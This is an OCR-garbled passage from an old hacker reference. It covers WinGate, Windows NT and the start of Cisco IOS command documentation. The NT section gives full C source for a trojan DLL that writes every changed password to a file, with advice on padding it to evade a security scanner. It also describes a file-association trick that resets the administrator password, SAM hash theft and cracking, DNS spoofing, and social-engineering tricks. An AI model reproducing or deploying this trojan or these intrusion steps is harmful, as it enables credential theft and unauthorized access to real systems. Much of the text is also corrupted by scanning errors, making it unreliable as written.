6- OGther Way To Lock Down A Service |Is Select Policies, Double Cick on "Everyone
Unrestricted Rights", Cick on Location Tab, Click on "Specify locations fromwhere this

reci pient has rights" next you will be entering the IP(s) you what to give access to this service
(Add 127.0.0.1 so the local box has access) you can add by each IP or by groups of IPs |ike
199.170.0. *

Sone Ot her Notes Guest Account Has No Password and Enable on Install Basic Install Let's
EVERONE have access to bounce fromyour system Al ports but the "renpte control service" is
unl ocked and everyone has access, you should turn off any services you do not have a need for
by doubl e clicking on the service and unchecking the "Accept connections on port"

[10.0.9] mMRC 5.x WnGate Detection Script

Note: This is script will Kkick/ban anyone runni ng WnGate.

alias telnet .msg $me $chr (1) $+ DCC CHAT CHAT $l ongi p($$1) $$2 $+ $chr(1)

al i as renpveni ckcheck unset % astj oi ned $nick

alias gatekick {

set %ick $$1

set %han O

11 oop2

inc %han 1

if (%ick ison $chan(%han)) {

node $chan(%han) -o %i ck

ban $chan(%han) %ick 2

ki ck $chan(%han) %i ck -=_Wngate Spoof_=-

goto | oop2

}

if ($chan(%han) == $null) { goto end2 }

goto | oop2

s end2

unset %i ck

}

#spoof check on

on 1:JO N: %pr ot chans: set %gatenick $nick | set % astjoined $nick | timer 1 3 renpveni ckcheck
wite $mircdirips.txt 9%gatenick --> $site <-- [ $tinme, $date ] | dns $nick

on 1:DNS:echo -a _DNS ON [ $+ $nick $+ ]] | echo -a _IP address: $iaddress | echo -a _Nane
address: $naddress | set %gatei p $iaddress | set 9%gatenane $naddress | telnet %gateip 23
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timere6 1 15 close -c

on 1: CHATOPEN: nsg =$ni ck gatecheck | timer66 1 15 close -c

on 1: CHAT: *W nGat e>*: gateki ck %gatenick | wite $mrcdirgate.txt %atenane = Ygateip
on 1: CHAT: *many*: gateki ck %gatenick | wite $mircdirgate.txt %atenane = Ygateip
#spoof check end

#gateslip on

on 1: NI CK: {

if ($nick == % astjoined) & ($nick !'= $me) {

echo 4 -a (-=_GateSlip Check_=-)

ki ck %pr ot chans $newnick -=_GateSlip_=-

removeni ckcheck

}

}
#gateslip end

[10. 1. 0] Concl usion

WnGate is just another exanple of a programthat is good but it doesnt warn the system adm ns
and as we all know the comopn system admi n doesnt read nmuch just installs thinking it is secure.
Sof tware programmers need to either nmake their prograns default to a tight security or at |east as
the programis install they need it to warn the system admin of possible mss configurations.
Wether it is Mcrosoft products or this sinple WnGate renmenber one thing, the software

devel oper makes the software work they rarely ever warn you on mss configurations. Yes people
do put out patches for true exploits etc... but where are the papers on mss configurations? Were
are the warnings of things you mght do that you should? If | was one of the WnGate
programers | would pronpt the user while WnGate is installing and tell them of different
security risks they may face. Hope that this paper has hel ped and that we, Rhino9, have hel ped.
[11.0.0] What a security person shoul d know about W nNT

The basis for this portion of the book was gl eaned from si npl e nomads FAQ nuch Props to

hi m

[11.0.1] NT Network structures (Standal one/ Wr kG oups/ Donai ns)

Each NT workstation participates in either a workgroup or a donmai n. Mdst conpanies will have

NT workstations participate in a domain for nanagenent of the resource by the adm nistrator

A domain is one or nore servers running NT server with all of the servers functioning as a single
system The domain not only contains servers, but NT workstations, Wndows for Wrkgroups

machi nes, and even LAN Manager 2.x machines. The user and group database covers ALL of the
resources of a donmain

Domai ns can be |inked together via trusted domains. The advantage of trusted domains is that a
user only needs one user account and password to get to resources across nultiple domains,

and administrators can centrally nanage the resources.

A workgroup is sinply a grouping of workstations that do not belong to a donain. A standal one
NT workstation is a special case workgroup.

User and group accounts are handled differently between domain and workgroup situations. User
accounts can be defined on a local or domain level. A local user account can only |ogon to that
| ocal conputer, while a domain account can | ogon fromany workstation in the donmain

d obal group accounts are defined at a domain |level. A global group account is an easy way to
grant access to a subset of users in a domain to, say, a single directory or file |located on a
particul ar server within the domain. Local group accounts are defined on each computer. A |loca
group account can have gl obal group accounts and user accounts as nenbers.

In a domain, the user and group database is "shared" by the servers. NI workstations in the
domai n DO NOT have a copy of the user and group database, but can access the database. In a

wor kgr oup, each computer in the workgroup has its own database, and does not share this

i nformati on.

[11.0.2] How does the authentication of a user actually work?

First, a user logs on. Wien this happens, NT creates a token object that represents that user
Each process the user runs is associated with this token (or a copy of it). The token-process
conmbination is refered to as a subject. As subjects access objects such as files and directori es,
NT checks the subject's token with the Access Control List (ACL) of the object and deternines
whether to allow the access or not. This may al so generate an audit message.

[11.0.3] A word on NT Chall enge and Response

When a user logs on, nore than likely they will be using Wndows NT Chal |l enge and Response.

When using this type of password encryption, the password never actually crosses the wire. A
nul | or random set of characters is generated at the client nmachine. Those characters are
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encrypted using the users password. That encrypted information is then sent across the wire. The
server then uses what it has stored in its database as the users password to un-encrypt the sent
data. If the un-encryption works, it knows that the user typed in the correct password client

si de.

[11.0.4] Default NT user groups

There are a nunber of built-in local groups in NT that can do various functions, some which
woul d be better off being left to the Adnministrator. Administrators can do everything, but the
foll owi ng groups' menbers can do a few extra itens (I only verified this on 4.0):

- Server Qperators: do a shutdown, even renptely; reset the systemtine; perform backups and
restores.

- Backup Operators: do a shutdown; perform backups and restores.

- Account Operators: do a shutdown.

- Print Operators: do a shutdown.

Al so menbers of these groups can login at the console. As you explore this book and possibly
soneone el se's server, renenber these pernissions. Gaining a Server Operator account and
placing a trojan that activates after a renpte shutdown could get you Adm ni strator

[11.0.5] Default directory perni ssions

| only verified these on 4.0. And remenber, Adnministrators are deities. Oherwise, if it isn't
her e,

the group doesn't have access.

\ (root), \SYSTEM32, \W N32APP - Server Qperators and Everyone can read and execute files,

di splay pernmissions on files, and do sone changing on file attributes.

\ SYSTEMB2\ CONFI G - Everyone can list filenames in this directory.

\ SYSTEMB2\ DRI VERS, \ SYSTEM REPL - Server Operators have full access, Everyone has read

access.

\ SYSTEMB2\ SPOOL - Server Operators and Print Operator have full access, Everyone has read
access.

\ SYSTEMB2\ REPL\ EXPORT - Server QOperators can read and execute files, display perm ssions

on files, and do sone changing on file attributes. Replicator has read access.

\ SYSTEMB2\ REPL\ | MPORT - Server Operators and Replicator can read and execute fil es,

di spl ay permissions on files, and do sone changing on file attributes. Everyone has read access.
\ USERS - Account Operators can read, wite, delete, and execute. Everyone can list filenanmes in
this directory.

\ USERS\ DEFAULT - Everyone has read, wite, and execute.

[11.0.6] Common NT accounts and passwords

There are two accounts that come with NT out of the box — administrator and guest. In a network
environnent, | have run into local administrator access unpassworded, since the Sys Adnin

t hought that gl obal accounts ruled over |ocal ones. Therefore it is possible to gain initial
access to

an NT box by using its local adm nistrator account with no password.

Guest i s another conmmon unpassworded account, although recent shipnents of NT disable the
account by default. While it is possible that sone conpanies will delete the guest account, sone
applications require it. If Mcrosoft Internet Studio needs to access data on another system it
will use guest for that renote access.

[11.0.7] How do | get the admi n account nane?

It is possible that a Sys Admin will create a new account, give that account the sane access as
an adm nistrator, and then renove part of the access to the adm nistrator account. The idea here
is that if you don't know the adm nistrator account nane, you can't get in as an adm nistrator
Typi ng "NBTSTAT - A ipaddress” will give you the new adninistrator account (generally tagged as
a 2 digit 03 code), assunming they are logged in. A bit of social engineering could get themto |og
inas well. nbtstat will also give you other useful information such as services running, the NT
domai n nane, the nodenane, and the ethernet hardware address.

[11.0.8] Accessing the password file in NT

The | ocation of what you need is in \\WNNT\ SYSTEM32\ CONFI G SAM whi ch is the |ocation of

the security database. This is usually world readable by default, but |ocked since it is in use by
system conpotents. It is possible that there are SAM SAV files which could be readable. If so,
these coul d be obtained for the purpose of getting password info.

During the installation of NT a copy of the password database is put in \\WNNT\REPAIR Since it
was just installed, only the Admi nistrator and Guest accounts will be there, but maybe

Admi nistrator is enough -- especially if the Adm nistrator password is not changed after
installation.
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If the Sys Admin updates their repair disks, or you get a hold of a copy of the repair disks, you
can get password dat abase.

If you are insane, you can go poking around in the SAM secret keys. First, schedule service to

| ogon as Local Systemand allow it to interact with the desktop, and then schedule an interactive
regedt 32 session. The regedt32 session will be running as Local System and you can play around in
the secret keys. However, if you change sone stuff this night be very bad. You have to be
Administrator to do this, though, so for the hacker you need to walk up to the machine while the
Administrator is logged in and distract themby telling themthey're giving away M crosoft tshirts
in the lobby (this doesn't always work ;-).

[11.0.9] Cracking the NT passwords

First off, it should be explained that the passwords are technically not |ocated on the server, or
in

t he password dat abase. What IS |ocated there is a one-way hash of the password. Let ne

expl ai n. .

Two one-way hashes are stored on the server -- a Lan Manager password, and a W ndows NT

password. Lan Manager uses a 14 byte password. If the password is less than 14 bytes, it is
concantenated with 0's. It is converted to upper case, and split into 7 byte halves. An 8 byte odd
parity DES key is constructed fromeach 7 byte half. Each 8 byte DES key is encrypted with a
"magi ¢ nunber" (0x4B47532140232425 encrypted with a key of all 1's). The results of the magic
nunber encryption are concantenated into a 16 byte one way hash value. This value is the Lan
Manager "password".

A regul ar Wndows NT password is derived by converting the user's password to Uni code, and

using MM to get a 16 byte value. This hash value is the NT "password".

So to crack NT passwords, the usernanme and the correspondi ng one way hashes (Lan Man and

NT) need to be extracted fromthe password database. |nstead of going out and witing sone

code to do this, sinply get a copy of Jereny Allison's PWUM, which goes through SAM and

gets the information for you

PWUMP does require that you are an Adnministrator to get stuff out of the registry, but if you can
get ahol d of copies of the security database from another |ocation you can use those. For actually
cracki ng the password, | reconmend using LOphtcrack

[11.1.0] What is ‘last login time'?

Let's say an adnin is checking the last time certain users have logged in by doing a NET USER
<userid> /DOVAIN. Is the info accurate? Myst of the tine it will NOT be

Most users do not login directly to the Primary Donain Controller (PDC), they login to a Backup
Domai n Controller (BDC). BDCs do NOT contain readonly versions of SAM they contain readwite
versions. To keep the already ungodly anmount of network traffic down, BDCs do not tell the

PDC that they have an update of the last login tine until a password change has been done. And
the NET USER <userid> /DOVAI N conmand checks the PDC, so last login time returned from

this command could be wildly off (it could even show NEVER).

As a hacker, if you happen to know that password aging is not enforced, then you can bet that

last login tines will probably not be very accurate.

[11.12.1] lve got CGuest access, can | try for Adm n?

Basi ¢ NT 3.51 has sonme stuff read/witeable by default. You could edit the association between

an application and the data file extension using regedt32. First off, you should wite a Wn32 app
that does not hing but the follow ng -

net user adm nistrator bitene /y

notepad % 92 98 %l %

In a share you have read/wite access to, upload it. Now change the association between .txt files
and notepad to point to the location of the uploaded file, |ike

\\ Thi sWor kst ati on\ RWshar e\ badboy. exe.

Now wait for the adm nistrator to |launch a text file by double clicking on it, and the password
beconmes "bitene"

O course, if the Sys Adnmin is snart they will have renbved wite perm ssion from Everyone for
HKEY_CLASSES ROOT, only giving out full access to creator\owner

[11.1.2] | heard that the %systenroot% systenB82 was writeabl e?

Vell, this can be exploited on NT 4.0 by placing a trojaned FPNWCLNT. DLL in that directory.

This file typically exists in a Netware environment. First conpile this exploit code witten by
Jereny Allison (jra@ygnus.com) and call the resulting file FPNWCLNT. DLL. Now wait for the

user nanes and passwords to get witten to a file in \tenp.

------------- CUt -----mmmmem oo

#i ncl ude <wi ndows. h>
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#i ncl ude <stdio. h>

#i ncl ude <stdlib. h>

struct UN _STRI NG {

USHORT | en

USHORT mex| en

WCHAR * buf f ;

b

static HANDLE f h;

BOOLEAN __stdcall InitializeChangeNotify ()

{

DWORD wr ot e;

fh = CreateFile("C \\tenp\\ pwdchange. out", GENERI C WRI TE
FI LE_SHARE_READ| FI LE_SHARE_WRI TE, 0, CREATE_ALWAYS,
FI LE_ATTRI BUTE_NORMAL| FI LE_FLAG WRI TE_THROUGH,
0);

WiteFile(fh, "InitializeChangeNotify started\n", 31, &wote, 0);
return TRUE;

}

LONG _ _stdcall PasswordChangeNotify (struct UN _STRING *user, ULONG rid,
struct UN _STRI NG *passwd)

{

DWORD wr ot e;

WCHAR wbuf [ 200] ;

char buf[512];

char buf 1[ 200] ;

DWORD | en;

menmcpy(wbuf, user->buff, user->len);

| en = user->l en/si zeof (WCHAR)

wbuf [l en] = O;

west ombs( buf 1, wbuf, 199);

sprintf(buf, "User = % : ", bufl);
WiteFile(fh, buf, strlen(buf), &wote, 0);
menmcpy(wbuf, passwd->buff, passwd->|en);

| en = passwd- >l en/ si zeof (WCHAR) ;

wbuf [l en] = O;

west ombs( buf 1, wbuf, 199);

sprintf(buf, "Password = % : ", bufl);
WiteFile(fh, buf, strlen(buf), &wote, 0);
sprintf(buf, "RID = %\n", rid);

WiteFile(fh, buf, strlen(buf), &wote, 0);
return OL;

------------- CUt ------mmmem- -

If you load this on a Prinmary Dormain Controller, you'll get EVERYBODY'S password. You have to
reboot the server after placing the trojan in %ystenroot % systenB2.

ISS (wwv. i ss.net) has a security scanner for NT which will detect the trojan DLL, so you may
wish to consider adding in extra junk to the above code to nake the size of the conpiled DLL
mat ch what the original was. This will prevent the current shipping version of |SS s NI scanner
from picking up the trojan.

It should be noted that by default the group Everyone has default perm ssions of "Change" in
%systenroot\systenB2, so any DLL that is not in use by the systemcould be replaced with a
trojan DLL that does something el se.

[11.1.3] What about spoofin DNS agai nst NT?

By forging UDP packets, NT nane server caches can be conpromi sed. If recursion is allowed on
the nane server, you can do some nasty things. Recursion is when a server receives a name
server | ookup request for a zone or domain for which is does not serve. This is typical how
nmost setups for DNS are done.

So how do we do it? W will use the follow ng exanpl e:

We are root on ns.nnrc.org, |P 10.10.10.1. W have pirate.nnrc.org with an address of

10. 10.10.2, and bait.nnrc.org with an address of 10.10.10.3. Qur m ssion? Make the users at

| ane. com access pirate.nnrc.org when they try to access www. | anmer. net.
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Ckay, assune automation is at work here to nake the attack snoother..

- DNS query is sent to ns.|lame.com asking for address of bait.nnrc.org.

- ns.lane.com asks ns.nnrc.org what the address is.

- The request is sniffed, and the query ID nunber is obtained fromthe

request packet.

- DNS query is sent to ns.lame.com asking for the address of ww. | anmer. net.

- Since we know the previous query |ID nunber, chances are the next query

I D nunber will be close to that nunber.

- W send spoofed DNS replies with several different query |ID nunbers.

These replies are spoofed to appear to come fromns.lanmer.net, and state

that its address is 10.10.10. 2.

- pirate.nnmrc.org is set up to look |ike www|amer.net, except nmaybe it

has a notice to "go to the new password page and set up an account and I D".

Qdds are this new password is used by that | ane.com user sonewhere el se..

Wth a little creativity, you can also do other exciting things |like reroute (and nake copies of)
emai |, denial of service (tell |lanme.comthat ww. | aner.net doesn't exist anynore), and other fun
t hi ngs.

Supposedly Service Pack 3 fixes this.

[11.1.4] what about default shared fol ders?

The main thing to realize about shares is that there are a few that are invisible. Adnministrative
shares are default accounts that cannot be renoved. They have a $ at the end of their name. For
exanple C$ is the admi nistrative share for the C partition, D$ is the adnmi nistrative share

for the D partition. WNNT$ is the root directory of the systemfiles.

By default since logging is not enabled on failed attenpts and the administrator doesn't get

| ocked out fromfalse attenpts, you can try and try different passwords for the adm nistrator
account. You could also try a dictionary attack Once in, you can get at basically anything.
[11.1.5] How do | get around a packet filter-based firewall?

If the target NT box is behind a firewall that is doing packet filtering (which is not considered
firewalling by many fol ks) and it does not have SP3 loaded it is possible to send it packets
anyway. This involves sending decoy | P packet fragments with specially crafted headers that will
be "reused" by the malicious IP packet fragnents. This is due to a problemwith the way NT's
TCP/ I P stack handl es reassenbling fragnented packets. As odd as this sounds, exanple code

exists to prove it works. See the web page at http://ww. dataprotect.com ntfrag for details.

How does it bypass the packet filter? Typically packet filtering only drops the fragmented packet
with the offset of zero in the header. The exanple source forges the headers to get around this,
and NT happily reassenbl es what does arrive.

[11.1.6] What is NTFS?

NTFS is the Wndows NT special file system This file systemis tightly integrated into W ndows
security -- it is what allows access levels to be set fromthe directory down to individual files
within

a directory.

[11.1.7] Are there are vulnerabilities to NTFS and access control s?

Not so much vulnerabilities as there are quirks -- quirks that can be exploited to a certain
degree.

For exanple, let's say the systemadnin has built a home directory for you on the server, but has
di sal l owed the construction of directories or files that you wish to nake available to the group
Everyone. You are wanting to nake this special directory so that you can easily retrieve sone
hack tools but you are cut off. However, if the sys admin left you as the owner of the hone
directory, you can go in and alter its perm ssions. This is because as long as you are the owner
or

Admi nistrator you still control the file. Ch sure, you may get a few conplaints fromthe system
when you are doing it, but it can be done.

Since NTFS has security integrated into it, there are not too many ways around it. The nmain one
requires access to the physical system Boot up the systemon a DOS di skette, and use

NTFSDOS. EXE. It will allow you to access an NTFS vol unme bypassing security.

The last quirk is that if you have a directory with Full Control instead of RWKDPO per i ssi ons,
then you get a hidden pernmission called File Delete Child. FDC cannot be renoved. This neans

that all menbers of the group Everyone can delete any read-only file in the directory. Depending
on what the directory contains, a hacker can replace a file with a trojan.

[11.1.8] Howis file and directory security enforced?

Since files and directories are considered objects (sane as services), the security is managed at
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an "object" |evel

An access-control list (ACL) contains information that controls access to an object or controls
auditing of attenpts to access an object. It begins with a header contains information pertaining
to

the entire ACL, including the revision level, the size of the ACL, and the nunber of accesscontro
entries (ACES) in the list.

After the header is a list of ACEs. Each ACE specifies a trustee, a set of access rights, and
flags

that dictate whether the access rights are allowed, denied, or audited for the trustee. A trustee
can be a user account, group account, or a |ogon account for a service program

A security descriptor can contain two types of ACLs: a discretionary ACL (DACL) and a system
ACL (SACL).

In a DACL, each ACE specifies the types of access that are allowed or denied for a specified
trustee. An object's owner controls the information in the object's DACL. For exanple, the owner
of a file can use a DACL to control which users can have access to the file, and which users are
deni ed access.

If the security descriptor for an object does not have a DACL, the object is not protected and the
systemallows all attenpts to access the object. However, if an object has a DACL that contains
no ACEs, the DACL does not grant any access rights. In this case, the systemdenies all attenpts
to access the object.

In a SACL, each ACE specifies the types of access attenpts by a specified trustee that cause the
systemto generate audit records in the systemevent | og. A system adm nistrator controls the
information in the object's SACL. An ACE in a SACL can generate audit records when an access
attenpt fails, when it succeeds, or both.

To keep track of the individual object, a Security ldentifier (SID) uniquely identify a user or a
gr oup.

A SI D contains:

- User and group security descriptors

- 48-bit ID authority

- Revision |evel

- Vari abl e subauthority val ues

A privilege is used to control access to a service or object nore strictly than is normal wth
di scretionary access control. Privileges provide access to services rarely needed by nost users.
For exanple, one type of privilege mght give access for backups and restorals, another night
all ow the systemtine to be changed.

[11.1.9] Once in, howcan | do all that GU stuff?

The main problemis adjusting NT file security attributes. Sone utilities are available with NT
t hat

can be used, but I'd recommend using the NT Command Line Security Uilities. They include:
saveacl .exe - saves file, directory and ownership permssions to a file

restacl.exe - restores file perm ssions and ownership froma saveacl file

listacl.exe - lists file permissions in human readabl e format

swapacl . exe - swaps perm ssions fromone user or group to another

grant.exe - grants permissions to users/groups on files

revoke. exe - revokes pernissions to users/groups on files

igrant.exe - grants perm sssions to users/groups on directories

i revoke. exe - revokes pernissions to users/groups on directories

setowner.exe - sets the ownership of files and directories

nu.exe - 'net use' replacenent, shows the drives you're connected to

The | atest version can be found at:

ftp://ftp.netcom com pub/ wo/ woodar dk/">ftp://ftp.netcom com pub/wo/ woodar dk/

[11.2.0] How do | bypass the screen saver?

If a user has locked their |ocal workstation using CTRL+ALT+DEL, and you can log in as an

adm ni strator, you will have a wi ndow of a few seconds where you will see the user's desktop,
and even mani pulate things. This trick works on NT 3.5 and 3.51, unless the |atest service pack
has been | oaded.

If the service pack has been loaded, but it's still 3.X try the foll ow ng.

- From anot her NT workstation, type the foll owi ng comand:

shut down \\ <target _conputer> /t:30

- This will start a 30 second shutdown on the target and a Security

wi ndow wi | | pop up.

file://ID|//WEB/hacker/TheModHackReference.txt (78 of 169) [9/12/2004 8:18:41 PM]



file://ID)/WEB/hacker/TheM odHackReference.txt

- Cancel the shutdown with the foll ow ng conmand:

shut down \\ <target_conputer> /a

- The screen saver will kick back in.

- Wggle the nouse on the target. The screen will go bl ank

- Now do a ctrl-alt-del on the target.

- An NT Security window will appear. Sel ect cancel

- You are now at the Program Manager

[11.2.1] How can tell if its an NT box?

Hopefully it is a web server, and they've sinply stated proudly "we're running NT", but don't
expect that...

Port scanning will find sone. Typically you'll see port 135 open. This is no guarantee it's not
W ndows 95, however. Using Sanmba you should be able to connect and query for the existence

of HKEY_LOCAL_MACHI NE\ Sof t war e\ M cr osof t\ WndowsNT and t hen check

\ Current Version\CurrentVersion to determ ne the version running. If guest is enabled, try this
first

as Everyone has read perm ssions here by default.

Port 137 is used for running NetBios over IP, and since in the Wndows world NetBios is used,
certainly you can expect port 137 to be open if IP is anywhere in use around NT

Anot her possible indication is checking for port 139. This tells you your target is advertising an
SMB resource to share info, but it could be any number of things, such as a Wndows 95 machi ne
or even Wndows for Wrkgroups. These may not be entirely out of the question as potenti al
targets, but if you are after NT you will have to use a conbination of the aforenentioned
techni ques coupled with sone comobn sense.

To sinmplify this entire process, Secure Networks Inc. has a freeware utility called NetBios
Auditing Tool. This tool's intent is to test NetBios file sharing configurations and passwords on
renot e systens.

[11.2.2] What exactly does the NetBios Auditing Tool do?

Devel oped by Secure Networks Inc., it cones in pre-conpiled Wn32 binary formas well as the
conpl ete source code. It is the "SATAN' of NetBi os based systens.

Here is a quote from Secure Networks |Inc about the product -

"The NetBI OS Auditing Tool (NAT) is designed to explore the NETBICS fil e-sharing services

of fered by the target system It inplenents a stepw se approach to gather information and
attenpt to obtain file system|evel access as though it were a legitimate | ocal client.

The major steps are as foll ows:

A UDP status query is sent to the target, which usually elicits a reply contai ning the Netbios
"computer nane". This is needed to establish a session. The reply al so can contain other

i nformati on such as the workgroup and account nanmes of the machine's users. This part of the
program needs root privilege to listen for replies on UDP port 137, since the reply is usually
sent

back to UDP port 137 even if the original query canme fromsone different port.

TCP connections are nade to the target's Nethios port [139], and session requests using the
derived conputer nanme are sent across. Various guesses at the conmputer nane are al so used, in
case the status query failed or returned inconplete information. If all such attenpts to

establish a session fail, the host is assuned invulnerable to NETBICS attacks even if TCP port 139
was
reachabl e.

Provi ded a connection is established Nethbios "protocol |evels" are now negotiated across the new
connection. This establishes various nodes and capabilities the client and server can use with
each other, such as password encryption and if the server uses user-level or share-level Security.
The usabl e protocol level is deliberately limted to LANMAN version 2 in this case, since that
protocol is somewhat sinpler and uses a snmaller password keyspace than NT

If the server requires further session setup to establish credentials, various defaults are
attenpted. Conpletely bl ank usernanes and passwords are often allowed to set up "guest”
connections to a server; if this fails then guesses are tried using fairly standard account nanes
such as ADM NI STRATOR, and sone of the nanes returned fromthe status query. Extensive

user name/ password checking is NOT done at this point, since the aimis just to get the session
established, but it should be noted that if this phase is reached at all MANY nore guesses can be
attenpted and likely without the owner of the target being i mediately aware of it.

Once the session is fully set up, transactions are performed to collect nore i nformati on about the
server including any file system"shares" it offers.

Attenpts are then made to connect to all listed file system shares and sone potentially unlisted
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ones. If the server requires passwords for the shares, defaults are attenpted as descri bed above
for session setup. Any successful connections are then explored for witeability and some
wel | known

file-nam ng problens [the ".." class of bugs].

If a NETBI OS session can be established at all via TCP port 139, the target is declared

"vul nerabl e" with the renaining question being to what extent. Information is collected under the
appropriate vulnerability at nost of these steps, since any point along the way be bl ocked by the
Security configurations of the target. Mdst Mcrosoft-0OS based servers and Uni x SAVBA wil |

yi el d conputer nanmes and share lists, but not allow actual file-sharing connections without

a valid usernane and/or password. A renpte connection to a share is therefore a possibly

serious Security problem and a connection that allows WRITINGto the share al nbst certainly so.
Printer and ot her "device" services offered by the server are currently ignored."

If you need nore info on NAT, try |l ooking at this web | ocation

http://ww. secnet.com ntinfo/ntaudit. htm

http://ww.rhino9.org

[12.0.0] Cisco Routers and their configuration

Many many hackers and security professionals alike take routers for granted. Wll, | have a news
flash for you, if your routers go down, so does your network. We have included this section to
attenpt to educate system administrators on configuring cisco routers. Keep in nind that cisco is
to date, the nost w dely used and conmmon router. And for good reason, it’'s a dam good router
Kudos to Cisco for nmaking an excellent product. (NOTE: The rhino9 teamdid not sell, or nake a
profit off of this publication in any way, shape or form) The information below was retrieved
from

the Ci sco website (www. cisco.con). Copyright 1988-1997 © Ci sco Systens |nc.

Many times, routers will not have passwords configured (this is mainly due to ignorant

adm ni strators...HEY.. Hire soneone that knows what theyre doing...like a security professiona

or a Cisco Engineer.. Ceeesh.)

[12.0.1] User Interface Commands

This chapter describes the commands used to enter and exit the various C sco |nternetwork
perating System (Cisco 10S) configuration comand nodes. It provides a description of the

hel p command and help features, lists the command editing keys and functions, and details the
command history feature

You can abbreviate the syntax of Ci sco | GS configuration commands. The software recogni zes a
command when you enter enough characters of the command to uniquely identify it.

For user interface task information and exanpl es, see the "Understanding the User Interface"
chapter of the Configuration Fundanentals Configuration CGuide.

[12.0.2] disable

To exit privileged EXEC node and return to user EXEC nbde, enter the disable EXEC

command.

di sable [l evel]

Synt ax Description

| evel (Optional) Specifies the user-privilege |evel

Not e The di sable command is associated with privilege level 0. If you configure AAA

aut hori zation for a privilege |level greater than O, this conmand will not be included in the
command set for that privilege |evel

Conmand Mode

EXEC

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 10.0.

Use this command with the | evel option to reduce the user-privilege level. If a level is not
specified, it defaults to the user EXEC nbde, which is |evel 1.
Exanpl e

In the follow ng exanple, entering the disable comand causes the systemto exit privileged
EXEC node and return to user EXEC node as indicated by the angle bracket (>):

Rout er # di sabl e

Rout er >

Rel at ed Command

enabl e

[12.0.3] editing

To enabl e enhanced editing node for a particular line, use the editing line configuration
command. To di sabl e the enhanced editing node, use the no formof this conmand.
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editing

no editing

Synt ax Descri ption

This command has no argunents or keywords.

Def aul t

Enabl ed

Command Mode

Li ne configuration

Usage Gui deli nes

This command first appeared in Ci sco | OS Rel ease 10.0.

Keys Function

Tab Conpletes a partial comrand nane entry. \Wien you enter a unique set of characters

and press the Tab key, the system conpl etes the comand nane. If you enter a set of
characters that could indicate nore than one comuand, the system beeps to indicate an error
Enter a question mark (?) immediately following the partial command (no space). The system
provides a list of commands that begin with that string.

Del ete or Backspace Erases the character to the left of the cursor

Return At the comand |ine, pressing the Return key perforns the function of processing a

command. At the "---Mre---" pronpt on a terminal screen, pressing the Return key scrolls down
a line.

Space Bar Allows you to see nore output on the terninal screen. Press the space bar when

you see the line "---Mire---" on the screen to display the next screen

Left Arrow Moves the cursor one character to the left. Wen you enter a comand that

ext ends beyond a single line, you can press the Left Arrow key repeatedly to scroll back toward
the system pronpt and verify the beginning of the comand entry.

Ri ght Arrowl Moves the cursor one character to the right.

Up Arrowl or Crl-P Recalls commands in the history buffer, beginning with the nost recent
command. Repeat the key sequence to recall successively ol der comrands.

Down Arrowl or

Ctrl-N Return to nore recent commands in the history buffer after recalling commands with the
Up Arrow or Ctrl-P. Repeat the key sequence to recall successively nore recent comrands. Crl-A
Moves the cursor to the beginning of the |ine.

Ctrl-B Mwves the cursor back one character

Ctrl-D Deletes the character at the cursor

Crl-E Mves the cursor to the end of the command |i ne.

Ctrl-F Mves the cursor forward one character

Ctrl-K Deletes all characters fromthe cursor to the end of the command |i ne.

Crl-L and Crl-R Redisplays the system pronpt and conmmand |i ne.

Ctrl-T Transposes the character to the left of the cursor with the character |ocated at the
cursor.

Crl-Uand Crl-X Deletes all characters fromthe cursor back to the begi nning of the

command |ine.

Ctrl-V and Esc Q lnserts a code to indicate to the systemthat the keystroke i mediately
followi ng should be treated as a comand entry, not as an editing key.

Ctrl-WDeletes the word to the left of the cursor.

Crl-Y Recalls the nost recent entry in the delete buffer. The del ete buffer contains the |ast
ten

itens you have deleted or cut. Ctrl-Y can be used in conjunction with Esc Y.

Ctrl-Z Ends configuration node and returns you to the EXEC pronpt.

Esc B Moves the cursor back one word.

Esc C Capitalizes the word fromthe cursor to the end of the word.

Esc D Deletes fromthe cursor to the end of the word

Esc F Moves the cursor forward one word.

Esc L Changes the word to | owercase at the cursor to the end of the word.

Esc U Capitalizes fromthe cursor to the end of the word.

Esc Y Recalls the next buffer entry. The buffer contains the last ten items you have del et ed.

Press Ctrl-Y first to recall the nost recent entry. Then press Esc Y up to nine times to recal

t he

remaining entries in the buffer. If you bypass an entry, continue to press Esc Y to cycle back to
it.

The arrow keys function only with ANSI-conpatible term nals.
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Key Function

Del ete or Backspace Erases the character to the left of the cursor

Ctrl-WErases a word.

Crl-U Erases a line.

Ctrl-R Redisplays a line.

Ctrl-Z Ends configuration node and returns to the EXEC pronpt.

Ret urn Execut es single-line commands.

Exanpl e

In the foll owing exanpl e, enhanced editing node is disabled on line 3:

line 3

no editing

Rel at ed Commrand

A dagger (t) indicates that the command is docunented outside this chapter

termnal editing t

[12.0.4] enable

To enter privileged EXEC node, use the enabl e EXEC conmand.

enabl e [l evel]

Synt ax Description

| evel (Optional) Privileged level on which to log in.

Not e The enable command is associated with privilege level 0. If you configure AAA

aut hori zation for a privilege |level greater than 0, this command will not be included in the
command set for that privilege |Ievel

Command Mode

EXEC

Usage Gui del i nes

This command first appeared in Ci sco | OS Rel ease 10.0.

Because nmany of the privileged commands set operating paraneters, privileged access should
be password-protected to prevent unauthorized use. If the system adm nistrator has set a
password with the enabl e password gl obal configuration command, you are pronpted to enter it
before being allowed access to privil eged EXEC node. The password is case sensitive.

If an enabl e password has not been set, enable npde only can be accessed fromthe router
console. If a level is not specified, it defaults to the privil eged EXEC node, which is |evel
Exanpl e

In the foll owing exanple, the user enters the enable command and is pronpted to enter a
password. The password is not displayed on the screen. After the user enters the correct
password, the systementers privileged command node as indicated by the pound sign (#).
Rout er > enabl e

Passwor d:

Rout er #

Rel at ed Commuands

A dagger (t) indicates that the command is docunented outside this chapter

di sabl e

enabl e password T

[12.0.5] end

To exit configurati on node, or any of the configuration subnmodes, use the end gl oba
configuration comand.

end

Synt ax Description

This command has no argunments or keywords.

Command Mode

A obal configuration

Usage Cui delines

This command first appeared in Cisco | OS Rel ease 10.0.

You can al so press Crl-Z to exit configurati on node.

Exanpl e

In the follow ng exanple, the name is changed to george using the hostnane gl oba
configuration command. Entering the end command causes the systemto exit configuration
node and return to EXEC node

Rout er (confi g) # host nane geor ge

george(config)# end

geor ge#
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Rel at ed Comrand

A dagger (1) indicates that the command i s docunented outside this chapter.

host nane t

[12.0.6] exit

To exit any configuration node or close an active ternmi nal session and terminate the EXEC, use
the exit command at the system pronpt.

exit

Synt ax Descri ption

Thi s command has no argunents or keywords.

Command Mode

Avail able in all command nodes.

Usage Gui del i nes

